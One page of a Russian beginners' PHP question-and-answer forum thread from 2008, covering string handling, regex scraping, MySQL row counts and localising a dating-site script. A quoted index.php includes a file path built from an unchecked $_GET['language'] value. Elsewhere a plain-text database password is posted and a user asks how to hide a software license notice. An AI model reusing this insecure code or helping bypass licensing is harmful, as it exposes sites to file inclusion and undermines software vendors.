PDA

Просмотр полной версии : [php] Новичкам: задаем вопросы


Страницы : 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 [21] 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66

Chaak
24.08.2008, 21:20
Люди помогите пожалуйста!.. мне нужен скрипт который бы постоянно с небольшим перерывом обращался по ссылке вида http://site.ru/index.php?a=x&b=y как можно реализовать? причём результат выполнения не важен, важно только чтобы эмулировалось обращение по этой ссылке...
while(1){
$fp = fopen('ссылка','rt');
fclose($fp);
sleep(1);
}

cremator (c)
24.08.2008, 21:28
Пишет
Warning: fopen(моя ссылка) [function.fopen]: failed to open stream: Permission denied in /home/c/*******/WWW/index.php on line 5
Warning: fclose(): supplied argument is not a valid stream resource in /home/c/******/WWW/index.php on line 6
:((

Chaak
24.08.2008, 21:42
Пишет
Warning: fopen(моя ссылка) [function.fopen]: failed to open stream: Permission denied in /home/c/*******/WWW/index.php on line 5
Warning: fclose(): supplied argument is not a valid stream resource in /home/c/******/WWW/index.php on line 6
:((
У тебя запрещено открытие url сервером

cremator (c)
24.08.2008, 22:06
и теперь никак не получится эмулировать обращение по этой ссылке?((( а если через header(location: ....) ?

NOmeR1
24.08.2008, 22:12
и теперь никак не получится эмулировать обращение по этой ссылке?((( а если через header(location: ....) ?
ну например
while(true) {
file_get_contents('ссылка'); // обращаемся к файлу
sleep(1); // ждём 1 сек
}

Zircool
24.08.2008, 22:15
Еще один вопросик. Как можно текст преобразовать в одну строку... К примеру в форму textarea мы вставляем


бла бла бла
бли бли бли
ой
ой


а получили

блаблаблаблиблиблиойой

Zedi
24.08.2008, 22:21
Оно и будет в строке только если надо убрать переводы строки убери \n \r

NOmeR1
24.08.2008, 22:37
Zircool
<?php
echo '
<form method="POST">
<textarea name="text" style="width: 500; height: 300">'.
(isset($_POST['text']) ? htmlspecialchars(str_replace(array("\r", "\n", " "), null, $_POST['text'])) : null)
.'</textarea><br>
<input type="submit">
</form>';
?>
Фигня какая-то. И зачем это надо?

Chaak
24.08.2008, 22:39
Еще один вопросик. Как можно текст преобразовать в одну строку... К примеру в форму textarea мы вставляем


а получили
$text = str_replace(chr(10),'',$text);
$text = str_replace(chr(13),'',$text);

100 раз обсуждалось

Zircool
24.08.2008, 22:41
NOmeR1 Для подсчета количества символов в тексте....

KIR@PRO
25.08.2008, 06:31
А можно и покороче)))):
$text = str_replace(array(chr(10),chr(13)),'',$text);

BlackSky
25.08.2008, 09:06
не знаю как бы правильно сформулировать вопрос, в общем имею набор ссылок:
ссылка1 ссылка2 ссылка3 ссылка4 ссылка5 ссылка6 записанных в одну переменную и надо чтобы они выводились не как строка, а ввиде 2х таблиц:
ссылка1 ссылка4
ссылка2 ссылка5
ссылка3 ссылка6
как можно реализовать такое ? :)

VDShark
25.08.2008, 10:30
не знаю как бы правильно сформулировать вопрос, в общем имею набор ссылок:
ссылка1 ссылка2 ссылка3 ссылка4 ссылка5 ссылка6 записанных в одну переменную и надо чтобы они выводились не как строка, а ввиде 2х таблиц:
ссылка1 ссылка4
ссылка2 ссылка5
ссылка3 ссылка6
как можно реализовать такое ? :)
Сделай из этого массив - где каждый элемент - одна ссылка. Потом разбей на n подмассивов - где элементы каждого столбца - эт один подмассив. И выводи как те удобно.

Isis
25.08.2008, 11:06
не знаю как бы правильно сформулировать вопрос, в общем имею набор ссылок:
ссылка1 ссылка2 ссылка3 ссылка4 ссылка5 ссылка6 записанных в одну переменную и надо чтобы они выводились не как строка, а ввиде 2х таблиц:
ссылка1 ссылка4
ссылка2 ссылка5
ссылка3 ссылка6
как можно реализовать такое ? :)

2 варианта:

<?php

$sekas = 'ссылка1 ссылка2 ссылка3 ссылка4 ссылка5 ссылка6';
$a = explode(' ', $sekas);
$num = count($a);
$column = 2;
$lines = intval(ceil($num/$column));
echo '<table>';
for($i = 0; $i < $lines; $i++)
{
echo '<tr>';
for($j = 0; $j < $column; $j++)
{
echo '<td>';
$n = $j * $lines + $i;
if($n < $num)
{
echo $a[$n];
}
echo '</td>';
}
echo '</tr>';
}
echo '</table>';


//ссылка1 ссылка4
//ссылка2 ссылка5
//ссылка3 ссылка6

$sekas = 'ссылка1 ссылка2 ссылка3 ссылка4 ссылка5 ссылка6';
$a = explode(' ', $sekas);
$num = count($a);
echo '<table>';
$tr = 0;
for($i = 0; $i < $num;$i++)
{
if($tr == 0) echo '<tr>';
echo '<td>'.$a[$i]."</td>";
$tr++;
if($tr == 2)
{
echo '</tr>';
$tr = 0;
}
}
echo '</table>';

//ссылка1 ссылка2
//ссылка3 ссылка4
//ссылка5 ссылка6
?>

DiffuSer
25.08.2008, 11:33
DWORD len = mess_len + sizeof(DWORD);
memcpy(outbuffer, &len, sizeof(DWORD));
memcpy(&outbuffer[sizeof(DWORD)]], mess, mess_len);
Так выглядит формирование строки на языке C. Внимание, вопрос...

Как выглядит аналогичное формирование строки на PHP?

P.S. с нулевого по 4-й байты - длинна запроса (N + 4), с 4-го по N - текст запроса. Очень прошу помочь. Замучался. =\

FrMn
25.08.2008, 12:10
<?
$mess="k\0jhdv9u-ru2jldkfv.d,mfvn'aj902ufl;kv;mvkdmv\0lvkjlvhjr\0";
$mess_len=strlen($mess)+4;
$outbuffer=chr($mess_len&0xff).chr(($mess_len&0xff00)>>8).chr(($mess_len&0xff0000)>>16).chr(($mess_len&0xff000000)>>24).$mess;
echo $outbuffer;
?>

DiffuSer
25.08.2008, 12:19
ChaaK, не разделить, а к запросу автоматический добавить его длинну в 4-х первых байтах, считая добавленные значения.

.:EnoT:.
25.08.2008, 15:24
никак допереть не могу как постичать количество вызовов какой-либо функции в скрипте:
Предположим есть какой-то скрипт:
<?php
$a = rand(1, 9);
$b = rand(20, 30);
$c = rand(40, 50);
$d = rand(60, 70);

echo 'Количество вызовов функции rand() - ...';
?>
как это сделать?

Chaak
25.08.2008, 15:37
никак допереть не могу как постичать количество вызовов какой-либо функции в скрипте:
Предположим есть какой-то скрипт:
<?php
$a = rand(1, 9);
$b = rand(20, 30);
$c = rand(40, 50);
$d = rand(60, 70);

echo 'Количество вызовов функции rand() - ...';
?>
как это сделать?
<?php
$func = 'rand';
$f = file_get_contents(str_replace('/','',$_SERVER["SCRIPT_NAME"]));

rand(1,3);
rand(1,3);
rand(1,3);
rand(1,3);

preg_match_all('#'.$func.'\([0-9\,]+\)#',$f,$ar);
$ar = $ar['0'];
$count = count($ar);
echo 'Количество функций rand() - '.$count;
?>
ПЫЩЬ!!11111

Vid0k
25.08.2008, 16:31
написал скрипт добавления группы там несколько полей название цвет и тд тп
заполняю все поля отправляю все проходит нормально но если обновить страницу с формой добавления группы то добавитья еще одна группа запрос передается постом
как от этой фигни избавиться дописать проверку на пустые поля?

OnArs
25.08.2008, 16:47
написал скрипт добавления группы там несколько полей название цвет и тд тп
заполняю все поля отправляю все проходит нормально но если обновить страницу с формой добавления группы то добавитья еще одна группа запрос передается постом
как от этой фигни избавиться дописать проверку на пустые поля?

Сам задал вопрос и сам же на него ответил :)

Вот например:

<form action="<?=$PHP_SELF?>" method="POST">
<input type="text" name="check" size="50"></td>
<input type="submit" value="Отправить" name="B1">
</form>
<?

if ($_POST['check'] <> '') {
Echo "Работает! :D";
} else {
echo "Заполните все поля :D"; }
?>

.:EnoT:.
25.08.2008, 17:17
ChaaK, спасибо, а я пытался строковыми функциями посчитать количество вхождений)) не допёрло взять страницу и регуляркой отпарсить))


написал скрипт добавления группы там несколько полей название цвет и тд тп
заполняю все поля отправляю все проходит нормально но если обновить страницу с формой добавления группы то добавитья еще одна группа запрос передается постом
как от этой фигни избавиться дописать проверку на пустые поля?
нет, нужно использовать переадресацию, т.к. если обновить страницу, то данные отправляются заново..

OnArs
25.08.2008, 22:44
Подскажите скрипт для запрета всплывающих ошибок - окон.
Например у меня в начале странице есть
<script>alert('AXTUNG!');</script>
Мне нужно запретить его, чтобы юзер его не видел.

Большое Спасибо!

BlackSun
25.08.2008, 22:53
Подскажите скрипт для запрета всплывающих ошибок - окон.
Например у меня в начале странице есть
<script>alert('AXTUNG!');</script>
Мне нужно запретить его, чтобы юзер его не видел.

Большое Спасибо!
Дастиш олбанишь:
<noscript><script>alert('AXTUNG!');</script></noscript>

OnArs
25.08.2008, 23:11
Дастиш олбанишь:
<noscript><script>alert('AXTUNG!');</script></noscript>
хм... Не катит!

Вот у меня такой код:
www.halfkeys.tut.su/java.txt (http://www.halfkeys.tut.su/java.txt)

Ткните пальцем где этот код выводит сообщение:
This code of QuickMenu has not been purchsed. (www.opencube.com)

Chaak
25.08.2008, 23:18
Как загрузить файл через спец. форму как к примеру на rapidshare.com
с помощью курл?

OnArs
25.08.2008, 23:24
Как загрузить файл через спец. форму как к примеру на rapidshare.com
с помощью курл?
вот http://www.php.su/phphttp/?uploads
и вот http://www.php.su/articles/?cat=protocols&page=001

Zircool
25.08.2008, 23:34
Помогите с регуляркой... Нужно грабить текст, который находится между тегами <index> текст </index>... Написал такой скрипт..

<form method="POST">
<br /> <br />
<input type="text" size="50" name="url" value="http://"> &nbsp;&nbsp;
<input type="submit" name="sub" value=" &nbsp; Go &nbsp; ">
<form>



</div>

<font size="2" color="#777777">
Countchars &copy; 2008


</body>

</html>
<?php
if (isset($_POST['sub']))
{
$url=$_POST['url'];
$result=file_get_contents($url);
preg_match("#<index>(.*?)</index>#",$result,$text);
echo $text[0];

}


Пример сайта имеющий теги <index> http://radiopupil.com/shem/index.php Но не грабит скрипт, в чем проблема в регулярке?

Chaak
25.08.2008, 23:36
Помогите с регуляркой... Нужно грабить текст, который находится между тегами <index> текст </index>... Написал такой скрипт..

<form method="POST">
<br /> <br />
<input type="text" size="50" name="url" value="http://"> &nbsp;&nbsp;
<input type="submit" name="sub" value=" &nbsp; Go &nbsp; ">
<form>



</div>

<font size="2" color="#777777">
Countchars &copy; 2008


</body>

</html>
<?php
if (isset($_POST['sub']))
{
$url=$_POST['url'];
$result=file_get_contents($url);
preg_match("#<index>(.*?)</index>#",$result,$text);
echo $text[0];

}


Пример сайта имеющий теги <index> http://radiopupil.com/shem/index.php Но не грабит скрипт, в чем проблема в регулярке?
проверь содержание массива print_r($text)

Zircool
25.08.2008, 23:42
ChaaK не работет...

.:EnoT:.
25.08.2008, 23:52
Как загрузить файл через спец. форму как к примеру на rapidshare.com
с помощью курл?
можно курлом, можно сокетами...помница делал я для слил.ру такой.
Смотри какие заголовки и отправляй))
и не забудь про:
Content-type: multipart/form-data и file_get_contents($file) и вроде ещё md5() файла передавать надо.
Если я конечно правильно понял твои желания))

Zircool
попробуй так:
preg_match('#<index>(.+)<\/index>#Us', $result, $text);

Isis
26.08.2008, 03:16
preg_match('#<index>(.*?)<\/index>#isU', $result, $text);

geforce
26.08.2008, 13:56
Ребята помогите!

Есть такой скрипт vldPersonals 2.1.0 знакомств! Так вот у него локализация русская есть вроде полная но работает не всё проверял на синтаксис вроде ошибок не нашел! и ещё регистрация на руском не работает первый шаг тока помогите плиз :confused: !

Zedi
26.08.2008, 14:07
Ищи другую руссификацию, эта значит не полная, мы тебе чем должны помочь? За тебя все найти? Цвет не вздумай больше такой ставить

geforce
26.08.2008, 14:10
Ищи другую руссификацию, эта значит не полная, мы тебе чем должны помочь? За тебя все найти? Цвет не вздумай больше такой ставить

Проблема не в русификации я её скачал офф сервера! в ней как я сказал всё переведено но всё равно некотыры вещи например поля login на английском хотя в русификации как я смотрел оно переведено! В чем могет быть проблема? :confused:

Zedi
26.08.2008, 14:12
Спрашивай на форуме двига, тут не энциклопедия, если там все норм значит ты кривой читай мануалы

geforce
26.08.2008, 14:15
lang.cp.login.php
<?php

$LANG['login'] = array (

"app_page" =>
"Регистрационное имя",

"username" =>
"Имя пользователя",

"password" =>
"Пароль",

"login" =>
"Вход в систему",

"remember_me" =>
"Запомнить меня",

"submit" =>
"Отослать",

"lockedout" =>
"Вы превысили дозволенное количество попыток войти в систему. Пожалуйста, попробуйте еще раз через %минут% минут.",

"invalid_login" =>
"Имя пользователя или пароль неверные.",

);

?>

и вот такой

lang.lib.login.php

$LANG['login'] = array (

"app_page" =>
"Логин",

"frm_login" =>
"Логин",

"username" =>
"Имя пользователя",

"password" =>
"Пароль",

"remember_me" =>
"Запомнить",

"submit" =>
"Отправить",

"forgot_password" =>
"Вспомнить пароль?",

"new_user" =>
"Новый Пользователь?",

"profile" =>
"Моя анкета",

"pictures" =>
"Фото",

"messages" =>
"Письма",

"lockedout" =>
"Вы достигли максимальных попыток. Попробуйте снова через %minutes% минут..",

"invalid_login" =>
"Неверный
логин или пароль.",

"logged_in" =>
"Добро пожаловать.",

);

?>

А на главной показывает на английском?

Zedi
26.08.2008, 14:18
Чайник он всегда чайник :d юзай теги [пхп] и иди на офф форум, то что ты выложил мне ни очем не говорит

geforce
26.08.2008, 14:23
Чайник он всегда чайник :d юзай теги [пхп] и иди на офф форум, то что ты выложил мне ни очем не говорит

Кто из нас ещё чайник? (((= Мне под другим аком зайти чтоли! Я прошу не разобраться в этом коде, я показываю фрагменты перевода ошибок в синтаксе нету же?
На офф сервере ничего подобного нет и форума на руском подержки этого скрипта не где нет и на него оди русик тока во всём инете!
А вот мой вопрос в чем могет быть причина?

Ответ пример: (могет в этом а могет в этом)

mff
26.08.2008, 14:26
geforce всё правильно!

geforce
26.08.2008, 14:32
Могет деся?

//------------------------------------------------
// Includes
//------------------------------------------------
include_once SYS_PATH.'includes/languages/' . SYS_LANG . '/lang.cp.login.php';


//------------------------------------------------
// Set template file
//------------------------------------------------
$TEMPLATE->set_template('login.tpl');


//------------------------------------------------
// Assign template vars
//------------------------------------------------
$TEMPLATE->assign('app_page', htmlentities2utf8($LANG['login']['app_page']));


То что я красным отметил это чтоза функция?

Zedi
26.08.2008, 14:35
Поищи откуда берется константа sys_lang, здесь все нормально, извини если че

geforce
26.08.2008, 15:00
Помоему здесь:

<!-- IF loggedin == "0" -->
<div id="loginbox">
<form method="post" name="loginform" action="{virtual_path}{ifelse:system_enable_fancy_urls,"1","login/index.html","index.php?m=login"}">
<table cellspacing="0" cellpadding="0" class="loginbox">
<tr><td>Username</td></tr>
<tr><td><input maxlength="24" size="10" style="width: 140px;" type="text" name="username" value="" class="inputText" /></td></tr>
<tr><td>Password</td></tr>
<tr><td><input maxlength="24" size="10" style="width: 140px;" type="password" name="password" value="" class="inputText" /></td></tr>
<tr><td>Remember me?</td></tr>
<tr><td><select name="nonxpcookie" class="inputCombo"><option value="1">Yes</option><option value="0">No</option></select></td></tr>
<tr><td><input type="submit" name="login" value="Login" class="inputLogin" /></td></tr>
<tr><td><a href="{virtual_path}{ifelse:system_enable_fancy_urls,"1","lostpassword/index.html","index.php?m=lostpassword"}">Forgot password?</a></td></tr>
</table>
<input type="hidden" name="islogin" value="1" />
</form>
</div>
<!-- ELSE -->

Я прав?

[dword]
26.08.2008, 15:10
Помоему здесь:

<!-- IF loggedin == "0" -->
<div id="loginbox">
<form method="post" name="loginform" action="{virtual_path}{ifelse:system_enable_fancy_urls,"1","login/index.html","index.php?m=login"}">
<table cellspacing="0" cellpadding="0" class="loginbox">
<tr><td>Username</td></tr>
<tr><td><input maxlength="24" size="10" style="width: 140px;" type="text" name="username" value="" class="inputText" /></td></tr>
<tr><td>Password</td></tr>
<tr><td><input maxlength="24" size="10" style="width: 140px;" type="password" name="password" value="" class="inputText" /></td></tr>
<tr><td>Remember me?</td></tr>
<tr><td><select name="nonxpcookie" class="inputCombo"><option value="1">Yes</option><option value="0">No</option></select></td></tr>
<tr><td><input type="submit" name="login" value="Login" class="inputLogin" /></td></tr>
<tr><td><a href="{virtual_path}{ifelse:system_enable_fancy_urls,"1","lostpassword/index.html","index.php?m=lostpassword"}">Forgot password?</a></td></tr>
</table>
<input type="hidden" name="islogin" value="1" />
</form>
</div>
<!-- ELSE -->

Я прав?
Ну судя по тегам, это и есть..

<tr><td>Username</td></tr>
<tr><td>Password</td></tr>
<tr><td>Remember me?</td></tr>
<tr><td><a href="{virtual_path}{ifelse:system_enable_fancy_urls,"1","lostpassword/index.html","index.php?m=lostpassword"}">Forgot password?</a></td></tr>

geforce
26.08.2008, 15:20
Всем спасибо один вопрос решил, в пред идущем коде то что я отпечатал в header.tpl на прямую вбиты название полей модуля login, я поправил их на русский и прокатило ! А второй нет! (((( Не работает регистрация на русском? В админке пишет неверный id группы? Здеся по труднее чем в первом вопросе! Есть добровольцы кто поможет отпешите вышлю на мыло скрипт?

Zircool
26.08.2008, 15:57
Опять проблема с регуляркой...

Нужно все строки вида <table width="10" border="0" cellpadding="0" cellspacing="1"> заменить на null, но дело в том что тег таблиц меняется, он может быть <table width="10" cellspacing="1" border="0" cellpadding="0" > а может быть и <table width="10" cellspacing="1" cellpadding="0" > и т.д. заменяю через ereg_replace Вот так у меня получилось

$sitetext=ereg_replace("#<td (.*?)>#i","",$sitetext);


Но к сожалению вылетает ошибка

Warning: ereg_replace() [function.ereg-replace]: REG_BADRPT in Z:\home\localhost\www\count\countsite.php on line 75

geforce
26.08.2008, 17:19
Ха разобрался спасибо всем! Там оказывается ошибку не выводило при регистрации на неё перевода небыло я перевел аказывается два раза с одного ip незя региться! ХА! Круто! разобрался!

FrMn
26.08.2008, 17:28
echo preg_replace('/<table ((width="10"|border="0"|cellspacing="1"|cellpadding="0")\s*){1,4}>/i','',$file);

geforce
26.08.2008, 17:48
Вопрос!

Есть такая таблица в базе members! в ней хронятся юзеры! Как зделатьтак чтоб юзеры считались и выводилось количество этих узеров на стронице! Заметте количество они сами юзеры!??

Doom123
26.08.2008, 17:50
SELECT COUNT(*) AS memb FROM members

geforce
26.08.2008, 17:56
SELECT COUNT(*) AS memb FROM members

Это надо новую таблицу memb создовать?

geforce
26.08.2008, 18:05
К примеру

1. Создать таблицу memb она будет хранить число пользователей!
2. Создать файл пхп к примеру stats.php в нем описать

1.1 присоединиться к базе 2.1 создать переменую sta и присвоеть ей значение memb.
3.1 На главной index.php вывести результат!
Так???

Doom123
26.08.2008, 18:10
неет ... это просто название по которому сможеш полуить количество ....
не нада новую таблицу

geforce
26.08.2008, 18:12
Так значит это в пхп надо прописывать?

если могешь пример малый от фуфла накидай?

Doom123
26.08.2008, 18:12
<?php

/*
Конект к БД
*/

$res = mysql_query("SELECT COUNT(*) AS membo FROM members");
$assoc = mysql_fetch_assoc($res);

echo $assoc['membo'];

?>

Isis
26.08.2008, 18:17
<?php

/*
Конект к БД
*/

$res = mysql_query("SELECT * FROM `members`");
$count = mysql_num_rows($res);

echo $count;

?>

Doom123
26.08.2008, 18:20
Isis твой пример медленее он выбирает все данные а потом ты cчитаеш их .. а мой только подсчитывает...

Chaak
26.08.2008, 18:32
Как к каждому элементу ассоциативного массива, применить функцию iconv() ?
пробывал array_walk(), но я в ней не понял как указывать перегрузки.

geforce
26.08.2008, 18:44
<?php

$sqlhost="localhost";
$sqluser="vlada";
$sqlpass="528872";
$db="vlada";

mysql_connect($sqlhost,$sqluser,$qlpass) or die("MySQL не доступен".mysql_error());

$res = mysql_query("SELECT COUNT(*) AS membo FROM vlad_members");
$assoc = mysql_fetch_assoc($res);

echo $assoc['membo'];

?>
Правильно?
Но это выводит в этом же файле я а хочу чтоб это выводилось на главной странице index.php а скрипт то что выше без echo был в файле к примеру stats.php!
как это зделать и что писатьв index.php?

Doom123
26.08.2008, 18:47
во 1 ты забыл mysql_select_db

во 2 иннклюжь stats.php в index.php токо еси в индексе уже есть конект к базе то не нужно конектится опять в стат . пхп

FrMn
26.08.2008, 18:48
<?
$asd = array("asd","dfg", "ghj","hjk");
function my_func(&$item)
{
$item=iconv("ISO-8859-1", "UTF-8", $item);
}
array_walk($asd, 'my_func');
?>

geforce
26.08.2008, 18:53
во 1 ты забыл mysql_select_db

во 2 иннклюжь stats.php в index.php токо еси в индексе уже есть конект к базе то не нужно конектится опять в стат . пхп

Пед чем или после чего встовлять mysql_select_db?

Doom123
26.08.2008, 18:56
geforce ты про mysql_select_db?

после
mysql_connect($sqlhost,$sqluser,$qlpass) or die("MySQL не доступен".mysql_error());

geforce
26.08.2008, 18:57
stats.php
<?php

require_once('connect.php');

$res = mysql_query("SELECT COUNT(*) AS membo FROM vlad_members");
$assoc = mysql_fetch_assoc($res);
?>
index.php
<?
echo $assoc['stats.php'];
?>
Вот так?

Doom123
26.08.2008, 19:01
stats.php



<?php

$sqlhost="localhost";
$sqluser="vlada";
$sqlpass="528872";
$db="vlada";

mysql_connect($sqlhost,$sqluser,$qlpass) or die("MySQL не доступен".mysql_error());
mysql_select_db($db);

$res = mysql_query("SELECT COUNT(*) AS membo FROM vlad_members");
$assoc = mysql_fetch_assoc($res);

?>



index.php


<?php
require_once('stat.php');

echo $assoc['membo'];

?>

FrMn
26.08.2008, 19:03
Doom123, вариация на тему:
<?
$asd = array("UTF-8"=>array("aaa","bbb","ccc"),"ISO-8859-1"=>array("dfg"));
function my_func(&$item,$key)
{
for($i=0;$i<count($item);$i++)
$item[$i]=iconv("ISO-8859-1", $key, $item[$i]);
}
array_walk($asd, 'my_func');
?>

geforce
26.08.2008, 20:20
stats.php



<?php

$sqlhost="localhost";
$sqluser="vlada";
$sqlpass="528872";
$db="vlada";

mysql_connect($sqlhost,$sqluser,$qlpass) or die("MySQL не доступен".mysql_error());
mysql_select_db($db);

$res = mysql_query("SELECT COUNT(*) AS membo FROM vlad_members");
$assoc = mysql_fetch_assoc($res);

?>



index.php


<?php
require_once('stat.php');

echo $assoc['stats.php'];

?>


У меня :
stats.php
[QUOTE]
<?php
require 'includes/config.php';
$res = mysql_query("SELECT COUNT(*) AS membo FROM vlad_members");
$assoc = mysql_fetch_assoc($res);
?>

Index.php
<?php


//------------------------------------------------
// Start session and turn off runtime magic quotes
//------------------------------------------------
session_start();
set_magic_quotes_runtime(0);


//------------------------------------------------
// Turn off script execution time limit
//------------------------------------------------
if (function_exists('set_time_limit') == 1 && @ini_get('safe_mode') == 0) @set_time_limit(0);


//------------------------------------------------
// Fetch config file
//------------------------------------------------
require 'includes/config.php';
if (!isset($conf)) exit('The system does not appear to be installed.');


//------------------------------------------------
// Set error reporting to "ALL" if specified in the config file
//------------------------------------------------
if ($conf['debug'] == 2) error_reporting(E_ALL);


//------------------------------------------------
// Define paths
//------------------------------------------------
define ('SYS_PATH', $conf['system_path']);
define ('SYS_PIC_PATH', $conf['system_pic_path']);
define ('SYS_TPL_PATH', $conf['system_tpl_path']);
define ('SYS_LICENSE', $conf['license_number']);
define ('VIR_PATH', $conf['virtual_path']);
define ('VIR_CP_PATH', $conf['virtual_cp_path']);
define ('VIR_PIC_PATH', $conf['virtual_pic_path']);
define ('VIR_TPL_PATH', $conf['virtual_tpl_path']);
define ('DB_PREFIX', $conf['db_prefix']);
define ('TN_PREFIX', $conf['thumbnail_prefix']);


//------------------------------------------------
// Instantiate the Benchmark class
//------------------------------------------------
include SYS_PATH . 'includes/core/core.benchmark.php';
$BM = new Benchmark();
$BM->set_pointer('start_engine');


//------------------------------------------------
// Include functions
//------------------------------------------------
include SYS_PATH . 'includes/fns/fns.misc.php';


//------------------------------------------------
// Instantiate the database class
//------------------------------------------------
include SYS_PATH . 'includes/core/core.mysql.php';


//------------------------------------------------
// Instantiate the cache class
//------------------------------------------------
include SYS_PATH . 'includes/core/core.cache.php';


//------------------------------------------------
// Instantiate the preferences class
//------------------------------------------------
include SYS_PATH . 'includes/core/core.prefs.php';


//------------------------------------------------
// Define time
//------------------------------------------------
define ('SYS_TIME', $PREFS->conf['timezone']);


//------------------------------------------------
// Instantiate the session class
//------------------------------------------------
include SYS_PATH . 'includes/core/core.session.php';


//------------------------------------------------
// Instantiate the template class
//------------------------------------------------
include SYS_PATH . 'includes/core/core.template.php';
$TEMPLATE->ext_dir = 'includes/ext/';
$TEMPLATE->tpl_dir = SYS_TPL_PATH . $PREFS->conf['template'] . '/';
$TEMPLATE->cpl_dir = SYS_TPL_PATH . $PREFS->conf['template'] . '/tmp/';


//------------------------------------------------
// Authenticate user
//------------------------------------------------
if ($SESSION->login() || $SESSION->is_loggedin())
{
//------------------------------------------------
// Set default session
//------------------------------------------------
$TEMPLATE->assign("logged_in", 1);


//------------------------------------------------
// Set default session values
//------------------------------------------------
$SESSION->conf['template'] = $PREFS->conf['override_template'] ? $PREFS->conf['template'] : $SESSION->conf['template'];
$SESSION->conf['language'] = $PREFS->conf['override_language'] ? $PREFS->conf['language'] : $SESSION->conf['language'];


//------------------------------------------------
// Set default template
//------------------------------------------------
$TEMPLATE->assign("template", $SESSION->conf['template']);


//------------------------------------------------
// Reset default template paths
//------------------------------------------------
$TEMPLATE->tpl_dir = SYS_TPL_PATH . $SESSION->conf['template'] . '/'; // templates path
$TEMPLATE->cpl_dir = SYS_TPL_PATH . $SESSION->conf['template'] . '/tmp/'; // compiled templates path


$LANG = array();
if ( isset($_GET['language']) || isset($_SESSION['custlanguage']) ) {
if ( isset($_GET['language']) ) {
$_SESSION['custlanguage'] = $_GET['language'];
}
$SESSION->conf['language'] = $_SESSION['custlanguage'];
$PREFS->conf['language'] = $_SESSION['custlanguage'];
}
//------------------------------------------------
// Set language
//------------------------------------------------
define ('SYS_LANG', $SESSION->conf['language']);
include_once SYS_PATH . 'includes/languages/' . SYS_LANG . '/lang.core.php';
}
else
{
//------------------------------------------------
// Set default session
//------------------------------------------------
$TEMPLATE->assign("logged_in", 0);


//------------------------------------------------
// Set default session values
//------------------------------------------------
$SESSION->conf['member_id'] = 0;
$SESSION->conf['template'] = $PREFS->conf['template'];
$SESSION->conf['language'] = $PREFS->conf['language'];
$SESSION->conf['timezone'] = $PREFS->conf['timezone'];
$SESSION->conf['timeformat'] = $PREFS->conf['timeformat'];


$LANG = array();
if (isset($_GET['language']) || isset($_SESSION['custlanguage']) ) {
if ( isset($_GET['language']) ) {
$_SESSION['custlanguage'] = $_GET['language'];
}
$SESSION->conf['language'] = $_SESSION['custlanguage'];
$PREFS->conf['language'] = $_SESSION['custlanguage'];
}
//------------------------------------------------
// Set default language
//------------------------------------------------
define ('SYS_LANG', $PREFS->conf['language']);
include_once SYS_PATH . 'includes/languages/' . SYS_LANG . '/lang.core.php';
}


//-----------------------------------------------------
// Assign session defaults
//-----------------------------------------------------
$TEMPLATE->set_session_defaults();


//------------------------------------------------
// Include functions selector
//------------------------------------------------
include SYS_PATH . 'includes/lib.php';


//-----------------------------------------------------
// Display global message
//-----------------------------------------------------
$TEMPLATE->output_message();


//-----------------------------------------------------
// Output our template
//-----------------------------------------------------
$BM->set_pointer('start_template');
$template = $TEMPLATE->result();
$BM->set_pointer('end_template');
header('Content-Type: text/html; charset=utf-8');
echo $template;
$BM->set_pointer('end_engine');

require_once('stats.php');
echo $assoc['stats.php'];
//------------------------------------------------------------
// Disconnect from the database
//------------------------------------------------------------
$DB->disconnect_db();



?>
Ничего не выводит!

Что делать?

Хацкер
26.08.2008, 20:40
Помогите мне)
Нужно сделать чтобы к примеру
$menu = 'тададада';
В шаблоне выводилось как {menu} как в дле
Я так понял это через str_replace но непонял как )

swt1
26.08.2008, 20:48
$_menu = str_replace ( "%MENU%", $MENU, $_menu );

Хацкер
26.08.2008, 20:51
$_menu = str_replace ( "%MENU%", $MENU, $_menu );


что-то у меня не получается. в index.php выводится просто {MENU}

может еще что нада, подскажи..

OnArs
26.08.2008, 21:47
Начинаю учить php+mysql:

Подскажите как сделать таблицу вида:

_______________________________________________
| Колонка1 | Колонка2 | Колонка3 | Колонка4 | Колонка5 |
----------------------------------------------------------------------------
| Эл.1 | Эл.2 | Эл.3 | Эл.4 | Эл.5 |
----------------------------------------------------------------------------

geforce
26.08.2008, 21:52
Нужен скрипт Сщёчика аккаутов! Попробывал напимать но к сожелению он не работает!

stats.php
<?php
require 'includes/config.php';
$res = mysql_query("SELECT COUNT(*) AS membo FROM vlad_members");
$assoc = mysql_fetch_assoc($res);
?>

index.php
require_once('stats.php');
echo $assoc['stats.php'];

Ничего не выводит! Кто сталкивался с такой проблемой помогите плиз?

Doom123
26.08.2008, 21:57
мля ! =) не echo $assoc['stats.php'];

а echo $assoc['membo'];

я допустил там ошибку :rolleyes:

OnArs что за эл? это тоже колонка или даные в колонке

FrMn
26.08.2008, 21:59
OnArs, http://dev.mysql.com/doc/refman/5.1/en/create-table.html

OnArs
26.08.2008, 21:59
Нужен скрипт Сщёчика аккаутов! Попробывал напимать но к сожелению он не работает!

stats.php
<?php
require 'includes/config.php';
$res = mysql_query("SELECT COUNT(*) AS membo FROM vlad_members");
$assoc = mysql_fetch_assoc($res);
?>

index.php
require_once('stats.php');
echo $assoc['stats.php'];

Ничего не выводит! Кто сталкивался с такой проблемой помогите плиз?

Подключение к db не забываешь? Таблицу выбрал?

P.s. Заюзай
echo "ERROR ".mysql_errno()." ".mysql_error()."\n";
для вывода ошибок MySQL, мб дело в ней :confused:


==================
Есть ли в MySQL тип данных который принимает только два значения False и True ?

geforce
26.08.2008, 22:06
мля ! =) не echo $assoc['stats.php'];

а echo $assoc['membo'];

я допустил там ошибку :rolleyes:

OnArs что за эл? это тоже колонка или даные в колонке

Спасибо тебе ;)

FrMn
26.08.2008, 22:10
Есть ли в MySQL тип данных который принимает только два значения False и True ?
BOOL

OnArs
26.08.2008, 22:14
С Таблицами разобрался! Большое Спасибо!
P.s. Щас буду учиьтся писать в них, выводить их и сравнивать...

Dimi4
26.08.2008, 23:33
Помогите мне)
Нужно сделать чтобы к примеру
$menu = 'тададада';
В шаблоне выводилось как {menu} как в дле
Я так понял это через str_replace но непонял как )
http://www.smarty.net/manual/ru/ ;)

Zedi
26.08.2008, 23:40
Все пишут переходим на курл, переходим на курл зайдите плз мануал по нем

Chaak
26.08.2008, 23:45
